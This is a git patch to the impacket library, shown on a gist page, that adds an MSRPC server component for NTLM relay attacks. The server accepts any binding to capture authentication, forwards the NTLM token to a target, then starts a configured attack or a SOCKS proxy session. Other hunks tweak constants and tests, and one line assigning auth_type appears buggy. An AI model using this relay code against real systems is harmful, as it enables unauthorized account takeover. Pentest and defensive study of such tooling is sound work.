+ bindAck = MSRPCBindAck() | |
+ | |
+ bindAck['max_tfrag'] = self.request_pdu_data['max_tfrag'] | |
+ bindAck['max_rfrag'] = self.request_pdu_data['max_rfrag'] | |
+ bindAck['assoc_group'] = 0x12345678 # whatever, but not 0!!! | |
+ | |
+ if not self.request_pdu_data.getCtxItems(): | |
+ # No CTX Items | |
+ raise Exception('Bind request with no CTX Item.') | |
+ for requestItem in self.request_pdu_data.getCtxItems(): | |
+ syntax, version = bin_to_uuidtup(requestItem['TransferSyntax']) | |
+ item = CtxItemResult() | |
+ # Bind Time Feature Negotiation need to be answered properly |-( | |
+ if syntax.startswith(MSRPC_BIND_TIME_FEATURE_NEGOTIATION_PREFIX) and version == "1.0": | |
+ item['Result'] = MSRPC_CONT_RESULT_NEGOTIATE_ACK | |
+ item['Reason'] = MSRPC_BIND_TIME_FEATURE_NEGOTIATION_SECURITY_CONTEXT_MULTIPLEXING_SUPPORTED_BITMASK | MSRPC_BIND_TIME_FEATURE_NEGOTIATION_KEEP_CONNECTION_ON_ORPHAN_SUPPORTED_BITMASK | |
+ item['TransferSyntax'] = "\x00" * 20 | |
+ else: | |
+ # Accept all other Context Items, because we want authentication! | |
+ item['Result'] = MSRPC_CONT_RESULT_ACCEPT | |
+ item['TransferSyntax'] = requestItem['TransferSyntax'] | |
+ self.transport._boundUUID = requestItem['AbstractSyntax'] | |
+ bindAck.addCtxItem(item) | |
+ # TODO: This is probably not generic enough :( | |
+ bindAck['SecondaryAddr'] = "135" | |
+ | |
+ packet = MSRPCHeader() | |
+ if self.request_header['type'] == MSRPC_BIND: | |
+ packet['type'] = MSRPC_BINDACK | |
+ elif self.request_header['type'] == MSRPC_ALTERCTX: | |
+ packet['type'] = MSRPC_ALTERCTX_R | |
+ else: | |
+ raise Exception('Message type %d is not supported in bind' % self.request_header['type']) | |
+ packet['pduData'] = bindAck.getData() | |
+ packet['call_id'] = self.request_header['call_id'] | |
+ packet['flags'] = self.request_header['flags'] | |
+ | |
+ if challengeMessage != b'': | |
+ secTrailer = SEC_TRAILER() | |
+ secTrailer['auth_type'] = ['auth_type'] | |
+ # TODO: Downgrading auth_level? | |
+ secTrailer['auth_level'] = self.request_sec_trailer['auth_level'] | |
+ # TODO: What is this number? | |
+ secTrailer['auth_ctx_id'] = self.request_sec_trailer['auth_ctx_id'] | |
+ | |
+ pad = (4 - (len(packet.get_packet()) % 4)) % 4 | |
+ if pad != 0: | |
+ packet['pduData'] += b'\xFF' * pad | |
+ secTrailer['auth_pad_len'] = pad | |
+ | |
+ packet['sec_trailer'] = secTrailer | |
+ packet['auth_data'] = challengeMessage | |
+ packet['auth_len'] = len(challengeMessage) | |
+ | |
+ return packet # .get_packet() | |
+ | |
+ def send_error(self, status): | |
+ packet = MSRPCRespHeader(self.request_header.getData()) | |
+ request_type = self.request_header['type'] | |
+ if request_type == MSRPC_BIND: | |
+ packet['type'] = MSRPC_BINDNAK | |
+ else: | |
+ packet['type'] = MSRPC_FAULT | |
+ if status: | |
+ packet['pduData'] = pack('<L', status) | |
+ return packet | |
+ | |
+ def do_ntlm_auth(self, token, authenticateMessage): | |
+ # For some attacks it is important to know the authenticated username, so we store it | |
+ if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: | |
+ self.auth_user = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), | |
+ authenticateMessage['user_name'].decode('utf-16le'))).upper() | |
+ else: | |
+ self.auth_user = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'), | |
+ authenticateMessage['user_name'].decode('ascii'))).upper() | |
+ | |
+ clientResponse, errorCode = self.client.sendAuth(token, self.challengeMessage['challenge']) | |
+ | |
+ # Raise exception on bad clientResponse? | |
+ if errorCode != STATUS_SUCCESS: | |
+ if errorCode in ERROR_MESSAGES.keys(): | |
+ raise Exception("NTLM authentication failure, got errorCode %s: %s" % (errorCode, ERROR_MESSAGES[errorCode])) | |
+ else: | |
+ raise Exception("NTLM authentication failure, got unknown errorCode %s" % errorCode) | |
+ | |
+ | |
+ def do_attack(self): | |
+ # Check if SOCKS is enabled and if we support the target scheme | |
+ if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes: | |
+ # Pass all the data to the socksplugins proxy | |
+ activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(), | |
+ self.auth_user, self.client, self.client.sessionData)) | |
+ return | |
+ | |
+ # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks | |
+ if self.target.scheme.upper() in self.server.config.attacks: | |
+ # We have an attack.. go for it | |
+ clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config, | |
+ self.client.session, | |
+ self.auth_user) | |
+ clientThread.start() | |
+ else: | |
+ LOG.error('No attack configured for %s' % self.target.scheme.upper()) | |
+ | |
+ def __init__(self, config): | |
+ Thread.__init__(self) | |
+ self.daemon = True | |
+ self.config = config | |
+ self.server = None | |
+ | |
+ def run(self): | |
+ LOG.info("Setting up RPC Server") | |
+ | |
+ self.server = self.RPCSocketServer((self.config.interfaceIp, self.config.listeningPort), self.RPCHandler, | |
+ self.config) | |
+ | |
+ try: | |
+ self.server.serve_forever() | |
+ except KeyboardInterrupt: | |
+ pass | |
+ LOG.info('Shutting down RPC Server') | |
+ self.server.server_close() | |
diff --git a/impacket/ntlm.py b/impacket/ntlm.py | |
index 76aba883..2cd5d760 100644 | |
--- a/impacket/ntlm.py | |
+++ b/impacket/ntlm.py | |
@@ -186,6 +186,11 @@ NTLM_NEGOTIATE_OEM = 0x00000002 | |
# If set, requests Unicode character set encoding. An alternate name for this field is NTLMSSP_NEGOTIATE_UNICODE. | |
NTLMSSP_NEGOTIATE_UNICODE = 0x00000001 | |
+# NTLMSSP Message Types | |
+NTLMSSP_AUTH_NEGOTIATE = 0x01 | |
+NTLMSSP_AUTH_CHALLENGE = 0x02 | |
+NTLMSSP_AUTH_CHALLENGE_RESPONSE = 0x03 | |
+ | |
# AV_PAIR constants | |
NTLMSSP_AV_EOL = 0x00 | |
NTLMSSP_AV_HOSTNAME = 0x01 | |
@@ -260,7 +265,7 @@ class NTLMAuthMixin: | |
minor_v = struct.unpack('B',self['os_version'][1])[0] | |
build_v = struct.unpack('H',self['os_version'][2:4]) | |
return mayor_v,minor_v,build_v | |
- | |
+ | |
class NTLMAuthNegotiate(Structure, NTLMAuthMixin): | |
structure = ( | |
diff --git a/tests/SMB_RPC/test_ldap.py b/tests/SMB_RPC/test_ldap.py | |
index 1f347871..d4ea6ccb 100644 | |
--- a/tests/SMB_RPC/test_ldap.py | |
+++ b/tests/SMB_RPC/test_ldap.py | |
@@ -122,7 +122,7 @@ class TCPTransport(LDAPTests): | |
self.hashes = configFile.get('TCPTransport', 'hashes') | |
self.aesKey = configFile.get('SMBTransport', 'aesKey128') | |
self.url = 'ldap://%s' % self.serverName | |
- self.baseDN = 'dc=%s, dc=%s' % (self.domain.split('.')[0],self.domain.split('.')[1] ) | |
+ self.baseDN = 'dc=' + self.domain.replace('.', ', dc=') | |
class TCPTransportSSL(LDAPTests): | |
def setUp(self): | |
@@ -137,7 +137,7 @@ class TCPTransportSSL(LDAPTests): | |
self.hashes = configFile.get('TCPTransport', 'hashes') | |
self.aesKey = configFile.get('SMBTransport', 'aesKey128') | |
self.url = 'ldaps://%s' % self.serverName | |
- self.baseDN = 'dc=%s, dc=%s' % (self.domain.split('.')[0],self.domain.split('.')[1] ) | |
+ self.baseDN = 'dc=' + self.domain.replace('.', ', dc=') | |
# Process command-line arguments. | |
if __name__ == '__main__': | |
diff --git a/tests/SMB_RPC/test_rpcrt.py b/tests/SMB_RPC/test_rpcrt.py | |
index e2070e90..6cce546a 100644 | |
--- a/tests/SMB_RPC/test_rpcrt.py | |
+++ b/tests/SMB_RPC/test_rpcrt.py | |
@@ -10,7 +10,7 @@ from impacket.dcerpc.v5.ndr import NDRCALL | |
from impacket.dcerpc.v5 import transport, epm, samr | |
from impacket.dcerpc.v5.dtypes import NULL | |
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, \ | |
- RPC_C_AUTHN_LEVEL_NONE, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_WINNT | |
+ RPC_C_AUTHN_LEVEL_NONE, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_CONNECT, RPC_C_AUTHN_LEVEL_CALL | |
from impacket.dcerpc.v5.dtypes import RPC_UNICODE_STRING | |
@@ -22,7 +22,7 @@ from impacket.dcerpc.v5.dtypes import RPC_UNICODE_STRING | |
class DCERPCTests(unittest.TestCase): | |
def connectDCE(self, username, password, domain, lm='', nt='', aesKey='', TGT=None, TGS=None, tfragment=0, | |
dceFragment=0, | |
- auth_type=RPC_C_AUTHN_WINNT, auth_level=RPC_C_AUTHN_LEVEL_NONE, dceAuth=True, doKerberos=False, | |
+ auth_type=RPC_C_AUTHN_WINNT, auth_level=RPC_C_AUTHN_LEVEL_CONNECT, dceAuth=True, doKerberos=False, | |
bind=epm.MSRPC_UUID_PORTMAP): | |
rpctransport = transport.DCERPCTransportFactory(self.stringBinding) | |
@@ -121,7 +121,7 @@ class DCERPCTests(unittest.TestCase): | |
self.stringBinding = epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp') | |
print(self.stringBinding) | |
dce = self.connectDCE(self.username, '', self.domain, lmhash, nthash, dceFragment=0, | |
- auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, | |
+ auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, | |
dceAuth=True, | |
doKerberos=True, bind=samr.MSRPC_UUID_SAMR) | |
self.stringBinding = oldBinding | |
diff --git a/tests/SMB_RPC/test_samr.py b/tests/SMB_RPC/test_samr.py | |
index fa44a819..ae286cad 100644 | |
--- a/tests/SMB_RPC/test_samr.py | |
+++ b/tests/SMB_RPC/test_samr.py | |
@@ -153,8 +153,8 @@ class SAMRTests(unittest.TestCase): | |
rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) | |
dce = rpctransport.get_dce_rpc() | |
dce.connect() | |
- #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) | |
- dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY) | |
+ dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) | |
+ #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY) | |
dce.bind(samr.MSRPC_UUID_SAMR, transfer_syntax = self.ts) | |
request = samr.SamrConnect() | |
request['ServerName'] = 'BETO\x00' | |
-- | |
2.23.0.rc1 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment